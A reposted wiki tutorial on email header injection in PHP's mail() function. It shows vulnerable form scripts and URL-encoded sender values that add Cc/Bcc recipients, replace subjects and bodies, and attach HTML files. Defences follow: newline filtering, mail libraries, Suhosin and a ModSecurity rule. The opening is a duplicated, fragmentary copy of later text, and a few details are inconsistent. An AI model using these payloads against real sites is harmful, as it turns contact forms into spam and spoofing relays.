Not so long ago, I ran a wiki called SecurePHP. On that wiki, there was one particular article about email injection that received a lot of attention. Naturally, with all the attention came lots of spam. As a result, I disabled editing of the wiki and content stagnated. Still, the email injection article remained popular. About a year later, the server that hosted SecurePHP died and I never had a chance to hook it all back up. I saved the article though and I'm reposting it now. It may be a bit old (I've been away from PHP for a long time), and I didn't write all of it, so feel free to leave comments about needed updates and corrections. Though this article focuses on PHP, it provides a lot of general information regarding email injection attacks.
The PHP
There are a lot of ways to send anonymous emails, some use it to mass mail, some use it to spoof identity, and some (a few) use it to send email anonymously. Usually a web mailform using the mail() function generates emails containing headers with the originating IP of the server it's running on. Therefore the mailform acts as a SMTP proxy. The input fields of the form may vary, but it is common to specify a mailform that gives you control over the subject, the message, and the sender's email address.
Function usage:
Extra params are not commonly fed from user input, so we'll skip this part. Most webmasters carefully hardcode the recipient's email address into the contact form of their web application. You might think this eliminates the way this kind of script could be exploited. But, you would be be wrong!
By providing the following values to the example script of this article:
In the last example, both
Many sites provide the possibility to "email this page to a friend" through a web form, the resulting email softly suggests to "visit our website" on behalf of the user that filled in the form with his personal email address, and the email address of the friend he wants the page to be emailed to.
Let's see now how to alter the message body. The difference between the body and the headers is that the body cannot be identified by its name (
As both
It is possible to re-define this header as
The fact is that the header
The injection possibility for this header is that the "multipart/mixed" can help us to separate the mail in several parts.
Here's an example in MIME format, with one recipient part:
Now the originating message and subject, both hardcoded in php, are ignored. So by providing the sender value
We get:
This method is applicable in different context. Imagine a script where
With ModSecurity it is possible to scan the POST or GET body for
And remember, there are other related exploit possibilities that are not discussed in this article. Security requires research and vigilance.
The PHP mail()
Function
There are a lot of ways to send anonymous emails, some use it to mass mail, some use it to spoof identity, and some (a few) use it to send email anonymously. Usually a web mailform using the mail() function generates emails containing headers with the originating IP of the server it's running on. Therefore the mailform acts as a SMTP proxy. The input fields of the form may vary, but it is common to specify a mailform that gives you control over the subject, the message, and the sender's email address.Function usage:
mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS], [EXTRAPARAMS]); (mail())
Extra params are not commonly fed from user input, so we'll skip this part. Most webmasters carefully hardcode the recipient's email address into the contact form of their web application. You might think this eliminates the way this kind of script could be exploited. But, you would be be wrong!
Example 1
Here's an example of code we'll base our analysis on:<?php $to="webmaster@website.com"; if (!isset($_POST["send"])) { // no post data -> display form ?> <form method="POST" action="<?=$_SERVER['PHP_SELF'];?>"> To: webmaster@website.com From: <input type="text" name="sender"> Subject: <input type="text" name="subject"> Message: <textarea name="message" rows="10" cols="60" lines="20"></textarea> <input type="submit" name="send" value="Send"> </form> <? } else { // found post data .. deal with it $from=$_POST['sender']; // send mail if (mail($to, $_POST['subject'],$_POST['message'],"From: $from\n")){ // display confirmation message if mail sent successfully echo "Your mail was indeed sent to $to."; } else { // sending failed, display error message echo "Doh! Your mail could not be sent."; } } ?>When looking at the HTML form or at the code, it seems obvious one cannot choose the recipient email address as it is hardcoded in the script. However, it is possible to choose the subject, the message, and the sender's email address (
From:
header). The PHP mail() function roughly works as follows: <?php mail($recipient,$subject,$message,$headers); ?>And will produce the following raw output:
To: $recipient Subject: $subject $headers $messageWhen calling the function like this:
<?php mail("recipient@victim.xxx","Hello","Hi,\nYour site is great.\nBye","From: sender@anonymous.xxx\n"); ?>The raw output data will look like this:
To: recipient@victim.xxx Subject: Hello From: sender@anonymous.xxx Hi, Your site is great. ByeThe PHP code for the mailform provided earlier shows that the most interesting part the user can choose to feed in the form is the sender email address, because it is directly displayed inside the headers. In this example it is possible to modify or add other headers than the
From:
using this form. Of course the message
, To
and Subject
fields could also be used to inject some data but the mail()
function and the RFC specifications would filter any content given to those fields to prevent it from being abused.What's the use of injecting email headers?
In this context, the target is to be able to send anonymous emails to other recipients. There are numerous additional fields that can be specified in the mail headers (see RFC 822). For exampleCc
(Carbon Copy), which sends a copy of the message to the email addresses given as arguments. A better choice is to use the Bcc
(Blind Carbon Copy) which sends a carbon copy of the message just like with the Cc
header, except that the recipiends email addresses given as arguments are not shown to the multiple recipients' headers. As specified in RFC 822, you must add a line feed for every header. The LF
(line feed) char has a hexadecimal value of 0x0A
.By providing the following values to the example script of this article:
Sender: sender@anonymous.www%0ACc:recipient@someothersite.xxx%0ABcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx Subject: ahem Message: My Message...The email's raw data will look like this:
To: recipient@victim.xxx Subject: ahem From: sender@anonymous.xxx Cc:recipient@someothersite.xxx Bcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx My Message...The mail headers were injected successfully! Despite the fact that the only header value take from the HTML form is
From:
, the resulting email has been sent to three people of our choice: recipient@someothersite.xxx
, somebloke@grrrr.xxx
and someotherbloke@oooops.xxx
.In the last example, both
Cc
and Bcc
headers have been used to perform the injection. It would also have been possible to use the To
header, the last value is added (just like in the Cc
and Bcc
fields) to the hardcoded email address of the webmaster.Example 2
Let's keep the same value for subject and message, and give the following value to the senderemail@anonymous.xxx%0ATo:email1@who.xxx
. The mail output is: To: recipient@victim.xxx Subject: Hum From: email@anonymous.xxx To:email1@who.xxx My Message...Repeating the
To
header won't be a problem, the mail will be sent to recipient@victim.xxx
AND email1@who.xxx
.Now for something completely evil...
Let's consider spam.Many sites provide the possibility to "email this page to a friend" through a web form, the resulting email softly suggests to "visit our website" on behalf of the user that filled in the form with his personal email address, and the email address of the friend he wants the page to be emailed to.
<?php $subject="Visit our site www.website.xxx !"; $message="Hello,\nA friend thought you might want to see this page : www.website.xxx.\nBye Bye."; if (!isset($_POST["send"])){ // no post data, display form ?> <form method="POST" action="<?=$_SERVER['PHP_SELF'];?>"> To: <input type="text" name="recipient"> From: <input type="text" name="sender"> <input type="submit" name="send" value="Send"> </form> <?php } else { // found post data $from=$_POST['sender']; $to=$_POST['recipient']; // send mail : if (mail($to,$subject,$message,"From: $from\n")){ // success echo "Mail sent successfully to $to."; } else { // failure echo "Doh ! Sending failed."; } } ?>Even though the subject and the message are hardcoded, there is still a way to inject headers (we already know how to add recipients). As covered earlier in this article, we saw that the
To
header can be sent twice, the Subject
header is not an exception to this rule, and so it is for numerous other headers. By providing a recipient address of buddy@pal.xxx
and a sender address of misterburns@springfield.xxx%0ASubject:My%20Anonymous%20Subject
the email body will look like this: To: buddy@pal.xxx Subject: Visit our site www.website.xxx ! From: misterburns@springfield.xxx Subject: My Anonymous Subject Hello, A friend thought you might want to see this page : www.website.xxx. Bye ByeThe subject "My Anonymous Subject" will be added to "Visit our site www.website.xxx!", and in some cases will replace it (depending on the mail services, SMTP relays, mail client, etc). For example Hotmail displays the added subject inside the message.
Let's see now how to alter the message body. The difference between the body and the headers is that the body cannot be identified by its name (
From
, To
, etc); there is no such Message
header existing in the RFC 822. And that's exactly how we will alter this part of the mail, a LF
; with no header name means that the message body started. So, instead of specifying a LF
and a header name, we will just add a LF
and give our message.As both
To
and Subject
headers are already defined, the resulting output will contain both the older message and the injected message, except that instead of being appended, it will be prepended. Say we provide the sender badguy@badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message.
Then the email will look like this: To: buddy@pal.xxx Subject: Visit our site www.website.xxx! From: badguy@badboys.com My New Anonymous Message. Hello, A friend thought you might want to see this page: www.website.xxx. Bye ByeWe can clearly see the that the new message:
My New Anonymous Messageis prepended to the old message:
Hello, A friend thought you might want to see this page: www.website.xxx. Bye Byeto finally give this message:
My New Anonymous Message Hello, A friend thought you might want to see this page: www.website.xxx. Bye ByeThere are more headers than
Cc
, Bcc
, To
, Subject
and From
but this article will not cover all of them as they are not especially helpful for this article. However, the Content-Type
header can be very useful. It has a default value set of plain/text
.It is possible to re-define this header as
text/html, and then provide some HTML content to the message by giving this value to the sender's email address haxor@attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0A<u>HTML%20Anonymous%20Message.</u>%0A
.
The email will look like:
To: buddy@pal.xxx Subject: Visit our site www.website.xxx ! From: haxor@attack.com Content-Type:text/html My New <u>HTML Anonymous Message.</u> Hello, A friend thought you might want to see this page : www.website.xxx. Bye ByeWhen displayed, this email will have the text "HTML Anonymous Message" underlined.
MIME
Themail()
function respects the MIME encoding. By knowing this, the header Content-Type
can be used in different ways for injection purposes. The MIME encoding (Multipurpose Internet Mail Extensions) can be used, in addition to send HTML mails, to attach files (sound, image, txt, etc).The fact is that the header
Content-Type
can be re-defined as multipart/mixed
(or multipart/alternative
or multipart/related
), even though it was already defined previously.The injection possibility for this header is that the "multipart/mixed" can help us to separate the mail in several parts.
Here's an example in MIME format, with one recipient part:
To: recip@ient.xxx Subject: Good Luck From: sender@spoofed.xxx Content-Type: multipart/mixed; boundary="MyBoundary"; Hidden Text1 --MyBoundary Content-Type: plain/text; Good Luck for you work, bye --MyBoundary-- Hidden Text2First we see the header
To
, Subject
and From
then the Content-Type
defined as multipart/mixed
, then the "boundary" line which value is MyBoundary
. This boundary stuff is used as a separator (see RFC 822 for detailed info) inside the message. It is also used to set the beginning/end of the first/last part (--[THE BOUNDARY]
). Note: "[THE BOUNDARY] can be replaced by any (US/ASCII [:alnum:]) value. Then we see a line "Hidden Text1". This text will not be visible to the recipient, because it is located before the first boundary declaration. Then we see the --MyBoundary
line, announcing the beginning of the first message, and then, just after the Content-Type
header (which will define the content type of this specific message part), some simple text. Then we see the message, and the line --MyBoundary--
, announcing the end of the email, and consequently having the last part "Hidden Text2" hidden to most web clients.Now the originating message and subject, both hardcoded in php, are ignored. So by providing the sender value
haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog--
We get:
To: recip@ient.xxx Subject: Visit www.website.xxx! From: haxor@attack.xxx Content-Type:multipart/mixed; boundary=frog; --frog Content-Type:text/html My Message. --frog-- Hello, A friend thought you might want to see this page : www.website.xxx. Bye ByeAnd the message received by "recip@ient.xxx" is an HTML message containing "My Message." The hard coded advertisement message (below) is NOT displayed:
Hello, A friend thought you might want to see this page : www.website.xxx. Bye ByeNote: boundary is sent with no quotes this time, just to show it applies even if magic_quotes_gpc=ON.
This method is applicable in different context. Imagine a script where
sender
can be specified and where some other field (like first name, last name, age, etc) is echoed in the message body once the form is submitted. In that case it is possible to get the same results (choose exactly what message the receipt will see) by providing haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A
in the sender
header and %0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog--
to the optional field (e.g nickname). The resulting mail will look like:To: ami@friends.xxx Subject: Visit www.website.xxx ! From: haxor@attack.xxx Content-Type:multipart/mixed; boundary=frog; Hello, A friend called --frog Content-Type:text/html My Message. --frog-- thought you might want to see this page : www.website.xxx. Bye ByeAs you can see, the hard coded message has been split in two. The value of the optional field (nickname) has been replaced by the injected message, and whatever is after the inserted text will NOT be shown in the mail client.
Example 3
Now a last example, compiling all possibilities seen in this article, and more. Provide this value as the sender:haxor@attack.xxx%0ASubject:Ooops%0ABcc:target@nothappy.xxx%0AContent-Type:multipart/mixed;%20boundary=frog; %0A--frog%0AContent-Type:text/html%0A%0AHTML%20Message.%0A%0A--frog%0AContent-Type:text/html; name=Nastycode.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0AHTML%20File %0A%0A--frog--%0AThe resulting email will be:
To: pal@friends.xxx Subject: Visit www.website.xxx ! From: haxor@attack.xxx Subject: Mwahahaha Bcc: target@nothappy.xxx Content-Type: multipart/mixed; boundary=frog; --frog Content-Type: text/html HTML Message. --frog-- Content-Type: text/html;name=Nastycode.html; Content-Transfer-Encoding: 8bit Content-Disposition: attachment HTML File --frog-- Hello, A friend thought you might want to see this page : www.website.xxx. Bye ByeSo, the sender is "haxor@attack.xxx", the subject is "Visit www.website.xxx ! Oooops", the email will be received by "pal@friends.xxx", and a carbon copy will be sent to "target@nothappy.xxx". The email content will be HTML:
HTML Message. a file named "Nastycode.html" with content type "text/html" will be attached to the email: HTML File
<panic>
Now that the problem has been described, enjoy some scheduled panic time.</panic> (Solutions)
And now that you've stopped panicking, here are several ways to combat email injection.Regex
The first rule (the golden rule) is to always filter and validate user data. One possibility is to use regular expressions or string functions:<?php $from = $_POST["sender"]; if (eregi("(\r|\n)", $from)) { die("Why ?? :("); } ?>We can see in the above script that any occurrence of
\r
or \n
will make it die(). \n
is equal to LF
(line feed or 0x0A
/%0A
in hexadecimal), and \r
is equal to CR
(carriage return or 0x0D
/%0D
in hexadecimal).Zend_Mail
You can use the Zend_Mail component as your mail sender class. It provides protection to this problem by default, no action is required from the programmer.PEAR Mail
The PEAR Mail class provides protection against this problem since version 1.1.13.Swift Mailer
Swift Mailer class is not vulnerable to this attack.Suhosin
The Suhosin PHP extension provides the suhosin.mail.protect ini directive, with 3 different levels of protection.ModSecurity
ModSecurity can put a stop to email injection on the server level.With ModSecurity it is possible to scan the POST or GET body for
Bcc
, Cc
, or To
and reject any request that contains those letters. To protect against main injection, add the below rule to your modsecurity setup: SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@"However, there are plenty of legitmate reasons to use the word "to" in an email and blacklists are never complete. Whitelisting is always a better option. gotroot.com is a great source for ModSecurity rules. It is a good idea to use their rules and configuration to protect users against other PHP exploits. Any virtual host having issues with ModSecurity can have it disabled by adding the below setting to the VirtualHost container:
<IfModule mod_security.c> SecFilterEngine Off </IfModule>
In Conclusion...
Two points to remember when watching injections:- Any existing data located *after* the injection point can be replaced.
- Any data to be added will always be located *after* the injection point (e.g.
From
).
mail()
function are cleaned, when using Emacs, the Fcc
header is also protected from injections. This Fcc
field contains the name of one file and directs Emacs to append a copy of the message to that file when you send the message. Although this works on Emacs, it is not possible with the PHP mail()
function.And remember, there are other related exploit possibilities that are not discussed in this article. Security requires research and vigilance.